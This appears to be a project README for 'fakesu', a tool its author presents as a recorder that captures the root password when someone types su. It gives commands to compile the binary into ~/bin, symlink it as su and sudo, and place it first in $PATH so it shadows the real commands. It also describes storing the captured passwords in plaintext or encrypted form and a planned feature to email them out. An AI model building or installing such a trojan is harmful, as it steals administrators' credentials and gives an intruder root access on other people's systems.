Or simply click: fakesu project-page to get a better view.
This is my SU password recorder which will automatically capture SU password when root type su.
If you can find ~/bin direstories which are located at the beginning of $PATH variable ((EXTREMELY BAD IDEA))
In this case nothing is simpler as:
gcc fakesu.c -o ~/bin/su ln -s ~/bin/su ~/bin/sudo
In any other case you have to create such a directory on your own and modify $PATH variable appropriately.
There are a make config you ought to know.
- If compiled with -DCRYPTO, then all your password will be encrypted
In other case, the compiler will automically compile as plaintext password stored.
-
Stored password in encrypted form need to be decrypt.
-
Email password and automatically kill itself.
-
zypeh
[![endorse] (http://api.coderwall.com/zypeh/endorsecount.png)] (http://coderwall.com/zypeh)
[![Facebook] (http://bit.ly/VTsPK4)] (http://www.facebook.com/lisper.zypeh)